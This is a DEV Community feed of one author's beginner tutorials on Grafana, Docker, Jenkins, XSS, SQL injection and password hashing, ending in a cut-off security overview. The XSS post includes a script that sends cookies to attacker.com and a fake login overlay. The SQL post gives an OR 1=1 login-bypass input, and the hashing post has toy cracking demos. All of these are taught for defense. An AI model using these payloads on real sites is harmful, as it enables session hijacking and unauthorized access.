DEV Community: Sanjay Ghosh

Grafana for Beginners: Build Your First Dashboard Using PostgreSQL and Docker

Sanjay Ghosh — Fri, 12 Jun 2026 04:41:57 +0000

As I continue exploring the DevOps ecosystem, I wanted to understand how monitoring and observability tools fit into the software delivery lifecycle.

Tools like Git, Jenkins, Docker, and Kubernetes are frequently discussed, but eventually every team reaches a common question:

How do we monitor what is happening after deployment?

That's where Grafana comes in.

Grafana is one of the most popular open-source visualization platforms used by development, operations, and Site Reliability Engineering (SRE) teams. It helps transform raw metrics into meaningful dashboards that provide insights into application performance, infrastructure health, and business metrics.

In this article, we'll build a complete working example from scratch:

Install Grafana using Docker
Create a PostgreSQL database
Insert sample metrics
Connect Grafana to PostgreSQL
Build a dashboard
Troubleshoot common connection issues

By the end, you'll have a fully functional Grafana dashboard running locally and a solid understanding of how Grafana fits into modern DevOps workflows.

What is Grafana?

Grafana is an open-source monitoring and visualization platform.

It connects to various data sources and transforms raw data into interactive dashboards and alerts.

Grafana itself does not store monitoring data. Instead, it reads data from external systems such as:

PostgreSQL
MySQL
Prometheus
Elasticsearch
Loki
AWS CloudWatch
InfluxDB

A simplified architecture looks like this:

Database / Monitoring Tool
            |
            v
         Grafana
            |
            v
       Dashboards
            |
            v
          Alerts

Where Grafana Fits in DevOps

Grafana is used throughout the DevOps lifecycle.

Development

Performance analysis
Debugging bottlenecks
Resource utilization monitoring

Testing

Monitor test environments
Validate application behavior

CI/CD

Monitor deployments
Track build success rates
Visualize pipeline metrics

Production

Infrastructure monitoring
Application Performance Monitoring (APM)
Alerting and incident management

Step 1: Install Grafana Using Docker

Pull the Grafana image:

docker pull grafana/grafana

Verify:

docker images

Run Grafana:

docker run -d \
  --name grafana \
  -p 3000:3000 \
  grafana/grafana

Verify the container:

docker ps

Example:

0.0.0.0:3000->3000/tcp

Open:

http://localhost:3000

Default credentials:

Username: admin
Password: admin

Grafana will prompt you to change the password during the first login.

Screenshot of login:

Step 2: Create a PostgreSQL Database

Create a database:

CREATE DATABASE grafana_demo;

Connect:

\c grafana_demo

Create a table:

CREATE TABLE system_metrics
(
    id SERIAL PRIMARY KEY,
    metric_time TIMESTAMP,
    cpu_usage NUMERIC(5,2)
);

Verify:

\d system_metrics

Step 3: Insert Sample Metrics

Insert some sample CPU usage data:

INSERT INTO system_metrics(metric_time, cpu_usage)
VALUES
(NOW() - INTERVAL '9 minutes',15),
(NOW() - INTERVAL '8 minutes',18),
(NOW() - INTERVAL '7 minutes',25),
(NOW() - INTERVAL '6 minutes',30),
(NOW() - INTERVAL '5 minutes',45),
(NOW() - INTERVAL '4 minutes',50),
(NOW() - INTERVAL '3 minutes',42),
(NOW() - INTERVAL '2 minutes',55),
(NOW() - INTERVAL '1 minute',60),
(NOW(),48);

Verify:

SELECT *
FROM system_metrics;

Step 4: Connect Grafana to PostgreSQL

Navigate to:

http://localhost:3000/datasources

Choose:

PostgreSQL

Use:

Host:
host.docker.internal:5432

Database:
grafana_demo

User:
postgres

Password:
your_password

Save and test the connection.

Screenshot of connection:

Step 5: Create Your First Dashboard

Navigate to:

Dashboards
→ New Dashboard
→ Add Visualization

Select your PostgreSQL data source.

Switch to Code Mode and execute:

SELECT
    metric_time AS "time",
    cpu_usage AS value
FROM system_metrics
ORDER BY metric_time;

Click:

Run Query

Grafana automatically plots the data.

Screenshot of graph:

Common Connection Problem

One of the most common errors is:

Network error:
Failed to connect to the server

Example:

dial tcp:
lookup host.docker.internal:
no such host

Verify PostgreSQL Settings

Check:

SHOW listen_addresses;

SHOW port;

You may see:

listen_addresses = localhost

This means PostgreSQL only accepts local connections.

Grafana running inside Docker cannot reach it.

Fix PostgreSQL Connectivity

Locate the configuration file:

sudo -u postgres psql -c "SHOW config_file;"

Example:

/etc/postgresql/16/main/postgresql.conf

Modify:

listen_addresses='*'

Update:

/etc/postgresql/16/main/pg_hba.conf

Add:

host all all 0.0.0.0/0 scram-sha-256

Restart PostgreSQL:

sudo systemctl restart postgresql

Or:

sudo service postgresql restart

Verify:

SHOW listen_addresses;

Expected:

Find the Host IP Address

If host.docker.internal does not work:

hostname -I

Example:

172.21.xxx.xxx

Use that IP address as the Grafana host connection.

Grafana vs Prometheus

A common beginner question is:

Do I need Prometheus?

The answer depends on your use case.

Prometheus
-----------
Collects Metrics

Grafana
--------
Visualizes Metrics

Prometheus and Grafana are frequently used together.

Grafana + Jenkins

Grafana can also monitor Jenkins pipelines when combined with Prometheus exporters.

Learning Path

Install Grafana
       |
       v
Connect Data Source
       |
       v
Run Queries
       |
       v
Create Dashboard
       |
       v
Create Alerts
       |
       v
Production Monitoring

Final Thoughts

Grafana is one of the most valuable tools in the modern DevOps ecosystem because it turns raw operational data into actionable insights.

Even with a simple PostgreSQL database and a handful of records, we can create meaningful visualizations and begin understanding trends, performance characteristics, and system behavior.

In real-world environments, Grafana is often integrated with:

Prometheus for metrics collection
Jenkins for CI/CD monitoring
Docker and Kubernetes for container monitoring
Loki for centralized logging
Cloud platforms such as AWS, Azure, and Google Cloud

This article focused on the fundamentals using PostgreSQL because it provides an easy way to understand how Grafana connects to a data source and transforms query results into visual dashboards.

Once you're comfortable with this setup, the next logical steps are:

Grafana + Prometheus
Grafana + Jenkins
Grafana + Docker Metrics
Grafana + Kubernetes
Grafana + Loki

Those integrations unlock the full power of observability and provide the continuous feedback loop that modern DevOps teams depend on.

I hope this walkthrough helps you build your first Grafana dashboard and serves as a foundation for deeper monitoring and observability projects.

Understanding Docker Using a Tiny Python Application (A Beginner-Friendly Walkthrough)

Sanjay Ghosh — Sun, 07 Jun 2026 18:46:39 +0000

Many Docker tutorials immediately introduce Docker Compose, Kubernetes, networking, volumes, and multi-container applications.

For beginners, that can feel overwhelming.

In this article, we'll build a very small Docker image that runs a simple Python script. The goal is to understand the core Docker concepts before moving on to more advanced containerization topics.

By the end of this tutorial, you'll understand:

What Docker is
What a container is
How Docker images work
How to build an image
How to run a container
The difference between an image and a container

Why Docker?

One common problem in software development is:

"It works on my machine."

An application may work perfectly on a developer's computer but fail on another machine because of missing libraries, different operating systems, or incompatible software versions.

Docker solves this problem by packaging:

Application code
Runtime
Libraries
Dependencies
Configuration

into a single portable unit called a container.

As long as Docker is installed, the application can run consistently across environments.

Docker in Simple Terms

A useful analogy is:

Docker Image  = Blueprint
Docker Container = House Built From The Blueprint

An image is a template.

A container is a running instance created from that image.

You can create multiple containers from the same image.

Installing Docker on Ubuntu

Update package information:

sudo apt update

Install Docker:

sudo apt install docker.io

Verify the installation:

sudo docker run hello-world

You should see a welcome message from Docker.

Running Docker Without sudo

Add your user to the Docker group:

sudo usermod -aG docker $USER

Log out and log back in.

Now Docker commands can be executed without sudo.

Environment

The following environment was used:

Ubuntu 24.04 LTS
Docker 29.1.3
Python 3.x

Project Structure

docker-python-app/
│
├── test.py
└── Dockerfile

Our Tiny Python Application

Create:

test.py

Contents:

print("This is a test")

Normally, the script can be executed using:

python3 test.py

Now we'll run the same application inside a Docker container.

Creating a Dockerfile

Create a file named:

Dockerfile

Contents:

FROM ubuntu:latest

WORKDIR /docker-apps

COPY ./test.py .

RUN apt update && apt install python3 -y

CMD ["python3", "./test.py"]

Docker builds images layer by layer by processing each instruction in the Dockerfile from top to bottom.

Let's understand each instruction.

FROM

FROM ubuntu:latest

Uses Ubuntu as the base image.

WORKDIR

WORKDIR /docker-apps

Sets the working directory inside the container.

COPY

COPY ./test.py .

Copies the Python script into the container.

RUN

RUN apt update && apt install python3 -y

Installs Python inside the image.

CMD

CMD ["python3", "./test.py"]

Specifies the command executed when the container starts.

Building the Docker Image

Build the image:

docker build -t ubuntu-python .

Docker reads the Dockerfile and creates an image named:

ubuntu-python

Verify:

docker images

You should see the newly created image.

Running the Container

Create and start a container:

docker run -it -d --name test-container ubuntu-python

Verify:

docker ps -a

View container logs:

docker logs test-container

Expected output:

This is a test

Congratulations! You have successfully executed a Python application inside a Docker container.

Screenshot

Docker Workflow

test.py
      ↓
Dockerfile
      ↓
docker build
      ↓
Docker Image
      ↓
docker run
      ↓
Docker Container
      ↓
This is a test

This same workflow is used for much larger applications.

Image vs Container

One of the most important Docker concepts is understanding the difference between an image and a container.

Image

An image is:

Read-only
A template
Used to create containers

Example:

ubuntu-python

Container

A container is:

Running or stopped
Created from an image
The actual execution environment

Example:

test-container

A single image can create many containers.

Useful Docker Commands

Stop a container:

docker stop <container_name_or_id>

Remove a container:

docker rm <container_name_or_id>

Force remove a container:

docker rm -f <container_name_or_id>

Remove all stopped containers:

docker container prune

List images:

docker images

List containers:

docker ps -a

The Most Important Lesson

One of the biggest misconceptions among beginners is that Docker is a virtual machine.

It is not.

Containers share the host operating system kernel, making them much lighter and faster than traditional virtual machines.

Docker packages applications and their dependencies in a portable and isolated way without requiring a full guest operating system.

Understanding this distinction is one of the key concepts in containerization.

💡 Key Takeaway
Docker does not replace your application.

Docker packages your application together with its runtime and dependencies so it can run consistently across different environments.

Understanding the difference between an image and a container is one of the most important Docker concepts.

Future Enhancements

Once comfortable with this example, you can explore:

Docker volumes
Docker networking
Docker Compose
Multi-container applications
Docker Hub
Jenkins + Docker integration
Kubernetes

The concepts learned in this article form the foundation for all of them.

Final Thoughts

Docker can seem intimidating when first encountered through large production deployments.

Starting with a tiny application makes the learning process much easier.

A simple Python script is enough to understand:

Images
Containers
Dockerfiles
Build process
Container execution

Once these fundamentals become clear, moving toward real-world containerized applications becomes much more natural.

If you're new to Docker, try building this example yourself before moving on to Docker Compose, Kubernetes, or cloud deployments. The concepts learned here will transfer directly to larger containerized systems.

Understanding Jenkins CI/CD Using a Tiny Java Project (A Beginner-Friendly Walkthrough)

Sanjay Ghosh — Mon, 01 Jun 2026 04:13:19 +0000

Understanding Jenkins CI/CD Using a Tiny Java Project

Most Jenkins tutorials immediately jump into Docker, Kubernetes, Maven, cloud deployments, and enterprise-scale architectures.

For someone learning CI/CD for the first time, that can become overwhelming very quickly.

In this article, we'll build a very lightweight but real Jenkins pipeline using a simple Java application. The goal is to understand how Jenkins works behind the scenes before introducing more advanced DevOps tools.

This example demonstrates:

Pipeline stages
Compilation
Program execution
Artifact generation
Artifact archiving
Jenkins workspace concepts
Console output debugging

without introducing unnecessary complexity.

Why This Example?

Whether you're building:

A Java application
A Spring Boot service
A Docker image
A Kubernetes deployment

the fundamental Jenkins workflow remains largely the same:

Source Code
    ↓
Build
    ↓
Test
    ↓
Package
    ↓
Deploy

Understanding this flow first makes learning advanced CI/CD concepts much easier.

Figure 1: Simplified Jenkins CI/CD flow used throughout this tutorial.

Environment

The following environment was used:

Ubuntu 24.04 LTS
OpenJDK 17
Git
Jenkins

Jenkins Installation

Before creating Jenkins pipelines, Jenkins must be installed on the system.

Since Jenkins runs on Java, Java must be installed first.

Update Package Information

sudo apt update

Verify Java Installation

java -version

If Java is not installed:

sudo apt install openjdk-17-jdk

Verify Java again:

java -version

Add Jenkins Repository Key

curl -fsSL https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key | sudo tee \
/usr/share/keyrings/jenkins-keyring.asc > /dev/null

Add Jenkins Repository

echo deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] \
https://pkg.jenkins.io/debian-stable binary/ | sudo tee \
/etc/apt/sources.list.d/jenkins.list > /dev/null

Update Package Information Again

sudo apt update

Install Jenkins

sudo apt install jenkins

Start Jenkins Service

sudo systemctl start jenkins

Enable Jenkins at Startup

sudo systemctl enable jenkins

Verify Jenkins Status

sudo systemctl status jenkins

Open Jenkins in Browser

http://localhost:8080

During the first login, Jenkins requests an administrator password.

Retrieve it using:

sudo cat /var/lib/jenkins/secrets/initialAdminPassword

Copy the password and complete the Jenkins setup wizard.

Project Structure

The project is intentionally very small.

calculator-app/
│
├── src/
│   └── Main.java
│
└── Jenkinsfile

Java Application

Create:

src/Main.java

public class Main {

    public static void main(String[] args) {

        int a = 10;
        int b = 20;

        int sum = a + b;

        System.out.println("Sum = " + sum);
    }
}

When executed:

Sum = 30

Although the application is tiny, it exercises the same Jenkins concepts used in larger CI/CD pipelines.

Jenkins Pipeline

Create:

Jenkinsfile

pipeline {

    agent any

    stages {

        stage('Preparation') {
            steps {
                echo 'Preparing build environment...'
            }
        }

        stage('Compile') {
            steps {

                dir('/mnt/c/MyDomain/jenkin-work/apps/calculator-app') {

                    echo 'Compiling Java program...'

                    sh 'javac src/Main.java'
                }
            }
        }

        stage('Run Program') {
            steps {

                dir('/mnt/c/MyDomain/jenkin-work/apps/calculator-app') {

                    echo 'Running Java program...'

                    sh 'java -cp src Main > output.txt'
                }
            }
        }

        stage('Archive Output') {
            steps {

                dir('/mnt/c/MyDomain/jenkin-work/apps/calculator-app') {

                    archiveArtifacts artifacts: 'output.txt'
                }
            }
        }

        stage('Deploy Simulation') {
            steps {
                echo 'Deploying application...'
            }
        }
    }

    post {

        success {
            echo 'Pipeline executed successfully!'
        }

        failure {
            echo 'Pipeline failed!'
        }
    }
}

Note

For simplicity, this tutorial uses a hardcoded project path:
dir('/mnt/c/MyDomain/jenkin-work/apps/calculator-app')
This was intentionally done to demonstrate an important Jenkins workspace concept and keep the example lightweight.

In real-world CI/CD pipelines, Jenkins typically checks out source code directly from a Git repository into its workspace.

A more typical approach would look like:
stage('Checkout') {
    steps {
        git 'https://github.com/your-username/calculator-app.git'
    }
}

stage('Compile') {
    steps {
        sh 'javac src/Main.java'
    }
}
The purpose of this article is to focus on understanding pipeline execution, workspaces, artifacts, and build flow before introducing Git integration.

Understanding Each Stage

Preparation

echo 'Preparing build environment...'

This stage simulates environment preparation.

In larger projects, this could include:

Loading credentials
Installing dependencies
Setting environment variables

Compile

sh 'javac src/Main.java'

Compiles the Java source code.

If compilation fails, the pipeline stops immediately.

Run Program

sh 'java -cp src Main > output.txt'

Executes the application and redirects the output to:

output.txt

Contents:

Sum = 30

Archive Output

archiveArtifacts artifacts: 'output.txt'

Stores the generated file inside Jenkins for later access.

Deploy Simulation

echo 'Deploying application...'

In a production pipeline, this stage could:

Deploy Docker containers
Copy files to servers
Deploy applications to Kubernetes
Restart services

Creating the Jenkins Pipeline Job

After logging into Jenkins:

Click:

New Item

Enter:

calculator-pipeline

Select:

Pipeline

Click OK
Under:

Definition

Choose:

Pipeline Script

Paste the Jenkinsfile content.
Save.
Click:

Build Now

CI/CD Flow Visualization

          Java Source Code
                  │
                  ▼
      Jenkins Pipeline Starts
                  │
                  ▼
             Compile
                  │
                  ▼
             Execute
                  │
                  ▼
        Generate Artifact
                  │
                  ▼
        Archive Artifact
                  │
                  ▼
          Post Actions

Although this example is small, enterprise pipelines follow the same basic pattern.

Understanding Jenkins Workspaces

One of the most important Jenkins concepts is the workspace.

When Jenkins executes a build, it typically runs inside:

/var/lib/jenkins/workspace/calculator-pipeline

My initial build failed because Jenkins could not locate:

src/Main.java

The source code existed outside the Jenkins workspace.

The solution was:

dir('/mnt/c/MyDomain/jenkin-work/apps/calculator-app') {

    sh 'javac src/Main.java'
}

This temporarily changes the working directory before executing commands.

Understanding workspaces will save significant debugging time when building larger pipelines.

Console Output

A successful build produced output similar to:

Preparing build environment...
Compiling Java program...
Running Java program...
Pipeline executed successfully!

The Jenkins Console Output page is often the first place you'll inspect when troubleshooting build failures.

Generated Artifact

The pipeline generated:

output.txt

Contents:

Sum = 30

Real-world pipelines commonly generate:

JAR files
WAR files
Test reports
Coverage reports
Docker images
Deployment packages

The concept remains identical.

The Most Important Lesson

💡 Key Takeaway

Jenkins does not compile Java, build Docker images, or deploy applications itself.

Jenkins is an automation server that orchestrates external tools and commands.

Understanding this distinction is one of the most important concepts in DevOps and CI/CD.

When Jenkins executes:

sh 'javac src/Main.java'

it is simply asking the operating system to run the Java compiler.

Likewise:

sh 'docker build .'

asks Docker to build an image.

Jenkins orchestrates tools—it does not replace them.

Understanding this distinction is fundamental to learning DevOps and CI/CD.

Future Enhancements

Once comfortable with this example, you can gradually introduce:

Git integration
Automatic build triggers
Maven builds
Unit testing
Docker integration
Tomcat deployment
Kubernetes deployment
Full CI/CD automation

The core Jenkins concepts remain exactly the same.

Final Thoughts

Many engineers first encounter Jenkins through large enterprise pipelines that can feel intimidating.

Starting with a tiny project makes the learning process much easier.

A simple Java application is enough to understand:

Pipeline stages
Build execution
Artifacts
Workspaces
Automation flow

Once these fundamentals become clear, moving toward Docker, Kubernetes, and enterprise CI/CD becomes much more natural.

Sometimes the best way to understand a large system is to begin with the smallest possible working example.

If you're new to Jenkins, try building this example yourself before moving on to Maven, Docker, or Kubernetes. The concepts learned here will transfer directly to larger CI/CD pipelines.

XSS Explained: How Attackers Execute JavaScript Inside Your Application

Sanjay Ghosh — Tue, 05 May 2026 22:30:33 +0000

Hook

What if an attacker could execute JavaScript inside your users’ browsers — using nothing more than a comment box?
That’s exactly what Cross-Site Scripting (XSS) enables.

Let’s break down how this actually happens in real applications.

What is XSS?

The flow of a typical XSS attack is illustrated above.

Cross-Site Scripting happens when an application renders untrusted user input directly into a web page.
Instead of displaying the input as plain text, the browser interprets it as executable JavaScript.

This allows attackers to run malicious code in another user’s browser — under your application’s trusted domain.

Types of XSS

✔ Stored XSS
Attacker submits malicious input.
Application stores it in database.
Every user who loads the page executes it.

Example scenario:
Comment section
✔ Reflected XSS
Input comes from request (URL/form)
Reflected immediately

Example:
Search page
✔ DOM-based XSS
No server involvement.
Client-side JavaScript inserts attacker-controlled data into DOM.
While these types differ in how the payload is delivered, the core issue is the same: untrusted input is executed as code.

Practical Example

❌ Vulnerable Example (Java/JSP)
String comment = request.getParameter("comment"); saveComment(comment);
Later Rendered:
<div><%= comment %></div>
The application assumes the comment is harmless text.
But the browser has no way to know that.

💥 Attack Input
<script>alert('XSS')</script>
When rendered:
<div><script>alert('XSS')</script></div>

Browser executes it.
The browser has no way to distinguish between legitimate code and attacker-injected code.
Instead of displaying text, the browser executes JavaScript.

Escalate Attack (Attacker Mindset)

Cookie Theft Example

<script> fetch("https://attacker.com/steal?cookie=" + document.cookie); </script>
This sends victim session cookies to attacker.
If session cookies are not protected, attacker may hijack active sessions.
This works because browsers automatically include cookies with requests to the same domain.

Fake Login Form

<script> document.body.innerHTML = '<h2>Session Expired</h2><input placeholder="Password">'; </script>
Attacker replaces page content with fake UI.
Users unknowingly enter credentials.

Real Impact

Session hijacking

Attacker steals authenticated session.

Account takeover

Victim account accessed without password.

Data theft

Sensitive page data can be extracted.

Phishing inside app
This is especially dangerous because users trust your domain.
Users are far more likely to trust fake prompts when they appear inside a legitimate application they already trust.

The dangerous part about XSS is that it doesn’t attack your backend — it exploits the trust between your application and your users.

How to Prevent XSS

✅ Output Encoding

Escape special characters
Convert < →<
👉 Key idea:
Treat user input as data, not HTML
Unsafe:
<div><%= userInput %></div>

Safe:
<div><c:out value="${userInput}" /></div>

Special characters become text:
<script> becomes visible text instead of executable code.

Method	Browser Sees (Source Code)	Browser Does
`<c:out>`	`<script>evil()</script>`	Displays literal text on screen.
`<%= %>`	`<script>evil()</script>`	Executes the script immediately.

✅ Framework Protection

Modern frameworks escape by default.
React (safe)
<div>{userInput}</div>
Dangerous
<div dangerouslySetInnerHTML={{ __html: userInput }} />

Usually, when you render data in React using curly braces {userContent}, React automatically escapes the content. This means it treats everything—including HTML tags—as literal text, preventing malicious scripts from executing.

When you use dangerouslySetInnerHTML, you are telling React to skip that protection and inject the raw string directly into the DOM

✅ ####Content Security Policy
Restrict script execution
Content-Security-Policy: default-src 'self'; script-src 'self';
Even if script injection happens, browser blocks unauthorized script execution.

Common Mistakes

Trusting user input

Never assume users behave correctly.

Using innerHTML

Unsafe:
element.innerHTML = userInput;
Safe:
element.textContent = userInput;

Disabling escaping

Framework protections exist for a reason.

Final Thoughts

Think like an attacker:

Ask:

Can I inject script here?
Will the browser execute it?
Can I steal trust from this page?

XSS is dangerous because it doesn’t attack your server directly — it attacks your users through your application.

If your application renders user input without proper encoding, you’re handing attackers control of your users’ browsers.

In XSS, the attacker doesn’t break your system — they use it against your users.

Always treat user input as data — never as code.

SQL Injection Explained: How Hackers Bypass Login Forms (and How to Stop Them)

Sanjay Ghosh — Sat, 25 Apr 2026 03:46:21 +0000

Even today, a single poorly written SQL query can allow an attacker to bypass authentication or expose sensitive data.

And the scary part? It often comes down to just one line of code.

In the previous articles, we saw how small implementation decisions can introduce serious vulnerabilities. SQL Injection is one of the clearest examples of this—simple to understand, yet still widely exploited.

What is SQL Injection?

SQL Injection occurs when untrusted user input is included directly in a SQL query.

Instead of being treated as data, the input is interpreted as part of the SQL command itself. This allows attackers to manipulate queries and control how the database behaves.

How SQL Injection Works

Consider a typical login query:
SELECT * FROM users WHERE username = 'input' AND password = 'input';
The application expects input to be normal user data.

But what if an attacker provides this instead?
' OR 1=1 --

OR 1=1 → always true
-- → comments out the rest of the query 👉 The database ends up executing a modified query that ignores authentication checks.

A Simple Login Bypass Example (Java)

Let’s look at how this vulnerability often appears in real code.

❌ Vulnerable Implementation

String username = request.getParameter("username");
String password = request.getParameter("password");

String query = "SELECT * FROM users WHERE username = '" 
             + username + "' AND password = '" + password + "'";

Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

⚠️ What’s the problem?

User input is directly concatenated into the SQL query
No separation between code and data
The database cannot distinguish between intended query logic and attacker input

💥 Attack Input

username: admin password: ' OR 1=1 --

💣 Resulting Query

SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1 --'
👉 The condition OR 1=1 is always true, so the query returns results regardless of the password.

Result: Authentication is bypassed.

Real-World Impact

SQL Injection is not just theoretical—it can lead to serious consequences:

Unauthorized login (authentication bypass)
Exposure of sensitive data
Modification or deletion of database records
Full database compromise

How to Prevent SQL Injection

Preventing SQL Injection is straightforward—but only if done correctly.

✅ 1. Use Prepared Statements (Java)

String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);

ResultSet rs = pstmt.executeQuery();

👉 Why this works:

Query structure is fixed
User input is treated strictly as data, not executable SQL

✅ 2. Use ORM Frameworks (JPA / Hibernate)

User user = userRepository.findByUsernameAndPassword(username, password);

👉 ORMs generate parameterized queries internally, which helps reduce the risk of SQL injection when used correctly.

✅ 3. Input Validation (Defense-in-Depth)

Limit input length
Restrict allowed characters

⚠️ Important: Input validation alone is not sufficient to prevent SQL Injection.
Most SQL injection vulnerabilities don’t happen because developers don’t know about them — they happen because of small shortcuts taken under time pressure.

✅ 4. Principle of Least Privilege

Database users should have only the permissions they need
Avoid using admin/root credentials for application access

Common Mistakes to Avoid

Relying only on input validation
Manually escaping strings instead of using parameterized queries
Trusting frontend validation
Logging raw queries with sensitive data

Final Thoughts

SQL Injection isn’t a complex attack—it’s usually the result of a simple coding mistake.

But its impact can be severe.

As a developer, the takeaway is clear:
👉 Never trust user input
👉 Always separate data from code

Small decisions in how you write queries can determine whether your application is secure—or completely exposed.

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples)

Sanjay Ghosh — Sun, 19 Apr 2026 18:54:23 +0000

What if I told you that even if you hash passwords, an attacker might still crack them in seconds?

Authentication is one of the most critical parts of any application—and also one of the most misunderstood.

In this post, we’ll think like an attacker, break insecure implementations using Java examples, and then progressively strengthen our defenses using hashing and salting.
If you’ve ever stored a password using only hashing, your system may still be vulnerable.

🧠 1. Why Authentication Security Matters

When authentication fails, everything fails:

Account takeover
Data breaches
Privilege escalation

To build secure systems, we must first understand how attackers operate.

⚔️ 2. How Attackers Break Authentication

(i). Brute Force Attack

Attacker tries all possible passwords until one works.
👉 Works because:

Users choose weak passwords
Systems don’t limit attempts

(ii). Dictionary Attack

Instead of all combinations, attacker uses a list of common passwords:
123456 password admin welcome123

(iii). Rainbow Table Attack

Attacker precomputes hashes:
password → hash1 admin → hash2
Then instantly matches stolen hashes.
👉 Extremely fast if no salt is used

(iv). Session Attacks (brief)

Focus on hijacking authenticated sessions (cookies, tokens).
👉 Important, but outside this blog’s main focus.

🔴 3. Thinking Like an Attacker: Breaking Weak Authentication

3.1 Brute Force Simulation (Java)

package com.auth;

public class BruteForceDemo {

    public static void main(String[] args) {

        String actualPassword = "1234";

        for (int i = 0; i <= 9999; i++) {
            String guess = String.format("%04d", i);

            System.out.println("Trying: " + guess);

            if (guess.equals(actualPassword)) {
                System.out.println("==> Password found: " + guess);
                break;
            }
        }
    }
}

👉 This works because:

Password is short and predictable
No rate limiting

3.2 Hashing Alone is NOT Enough

Let’s say system stores:
hash(password)
Java Example

package com.auth;

import java.security.MessageDigest;

public class HashAttackDemo {

    public static String hash(String input) throws Exception {
        MessageDigest md = MessageDigest.getInstance("SHA-256");
        byte[] digest = md.digest(input.getBytes());

        StringBuilder hex = new StringBuilder();
        for (byte b : digest) {
            hex.append(String.format("%02x", b));
        }
        return hex.toString();
    }

    public static void main(String[] args) throws Exception {

        String storedHash = hash("password");

        String[] guesses = {"123456", "password", "admin"};

        for (String guess : guesses) {
            if (hash(guess).equals(storedHash)) {
                System.out.println("==> Cracked: " + guess);
            }
        }
    }
}

👉 Even though password is hashed, attacker can still:

Hash guesses
Compare results

3.3 Rainbow Table Attack (Precomputation)

package com.auth;

import java.security.MessageDigest;
import java.util.HashMap;
import java.util.Map;

public class RainbowTableDemo {

    public static String hash(String input) throws Exception {
        MessageDigest md = MessageDigest.getInstance("MD5");
        byte[] digest = md.digest(input.getBytes());

        StringBuilder hex = new StringBuilder();
        for (byte b : digest) {
            hex.append(String.format("%02x", b));
        }
        return hex.toString();
    }

    public static void main(String[] args) throws Exception {

        String[] passwords = {"123456", "password", "admin"};

        Map<String, String> table = new HashMap<>();

        for (String pwd : passwords) {
            table.put(hash(pwd), pwd);
        }

        String stolenHash = hash("password");

        if (table.containsKey(stolenHash)) {
            System.out.println("==> Instantly cracked: " + table.get(stolenHash));
        }
    }
}

👉 No guessing needed — just lookup.

🛡️ 4. Why SALT Changes Everything

4.1 Why SALT is Needed

Problem:
password → same hash everywhere
Solution:
hash(password + salt)
👉 Makes each hash unique
4.2 SALT Implementation (Java)

package com.auth;

import java.security.MessageDigest;
import java.security.SecureRandom;
import java.util.Base64;

public class SaltedHashDemo {

    public static String generateSalt() {
        byte[] salt = new byte[16];
        new SecureRandom().nextBytes(salt);
        return Base64.getEncoder().encodeToString(salt);
    }

    public static String hash(String password, String salt) throws Exception {
        MessageDigest md = MessageDigest.getInstance("SHA-256");
        byte[] digest = md.digest((password + salt).getBytes());

        StringBuilder hex = new StringBuilder();
        for (byte b : digest) {
            hex.append(String.format("%02x", b));
        }
        return hex.toString();
    }

    public static void main(String[] args) throws Exception {

        String password = "password";
        String salt = generateSalt();

        String hashed = hash(password, salt);

        System.out.println("Salt: " + salt);
        System.out.println("Hash: " + hashed);
    }
}

4.3 How SALT Breaks Rainbow Attacks

password + salt1 → hash1 password + salt2 → hash2

👉 Same password ≠ same hash
👉 Rainbow tables become useless

🔴 5. Attacker vs SALT

5.1 Attacking Salted Hashes (Java)

package com.auth;

import java.security.MessageDigest;

public class SaltedAttackDemo {

    public static String hash(String password, String salt) throws Exception {
        MessageDigest md = MessageDigest.getInstance("SHA-256");
        byte[] digest = md.digest((password + salt).getBytes());

        StringBuilder hex = new StringBuilder();
        for (byte b : digest) {
            hex.append(String.format("%02x", b));
        }
        return hex.toString();
    }

    public static void main(String[] args) throws Exception {

        String salt = "randomSalt123";
        String storedHash = hash("password", salt);

        String[] dictionary = {"123456", "password", "admin"};

        for (String guess : dictionary) {
            if (hash(guess, salt).equals(storedHash)) {
                System.out.println("==> Cracked even with salt: " + guess);
            }
        }
    }
}

👉 Salt does NOT stop guessing — only slows it down.

5.2 Cost Explosion

Without salt:
1M guesses → cracks many users
With salt:
1M users × 1M guesses = 1 trillion operations

Source Code

All source files are available on GitHub:
Github source codes

👉 This is where salt becomes powerful.

⚠️ 6. What SALT Does NOT Solve

Weak passwords (still crackable)
Fast hashing (SHA-256 is too fast)
GPU-based attacks

👉 SALT makes attacks harder—but not impossible.
Attackers can still:

Perform brute force attacks
Use GPUs to compute hashes at scale
Target weak passwords

This is why modern systems go beyond

🚀 Final Defense: Modern Password Hashing
Use:

Why:

Built-in salt
Slow hashing (costly per attempt)
Resistant to GPU attacks

🧠 7.Conclusion

Authentication security evolves like this:
Plain text → completely broken Hash only → still vulnerable Salted hash → better Salt + slow hashing → strong defense

👉 Security is not about making attacks impossible,
👉 It’s about making them economically infeasible.

💡 8.Final Thought

Think like an attacker:

Can I guess this password?
Can I reuse work?
Can I scale this attack?

Good security doesn’t make attacks impossible—it makes them impractical.

As a developer, your goal isn’t to stop attackers completely, but to ensure that breaking your system is simply not worth the effort.

Understanding Common Cybersecurity Attacks: A Practical Overview

Sanjay Ghosh — Tue, 14 Apr 2026 18:10:37 +0000

Modern applications are more powerful and interconnected than ever—but with that power comes increased exposure to security risks. Whether you're building a small backend service or a large distributed system, security is no longer optional.

Before diving into specific vulnerabilities, it’s important to understand why cybersecurity matters and how common attacks are structured.

Why Cybersecurity Matters in Modern Applications

🔐 Data Protection & Privacy

Modern applications handle large amounts of sensitive data—personally identifiable information (PII), financial records, and intellectual property. This makes them prime targets for attackers.

🏢 Maintaining Trust & Reputation

Users trust applications with their personal and financial data. A single breach can damage reputation, erode customer trust, and lead to significant financial loss.

⚖️ Regulatory Compliance

Organizations must comply with regulations such as GDPR and industry standards. Failing to do so can result in heavy fines and legal consequences.

⚙️ System Integrity & Availability

Security controls such as encryption and access management ensure that systems remain reliable, tamper-proof, and available—even under attack.

🚀 Defending Against Sophisticated Threats

As technologies like cloud computing and AI evolve, so do attack techniques—ransomware, phishing, and zero-day exploits are becoming more advanced.

🌐 Protecting Interconnected Systems

Modern systems rely heavily on APIs, microservices, and IoT devices. A vulnerability in one component can compromise the entire ecosystem.

The Role of OWASP (Open Worldwide Application Security Project)

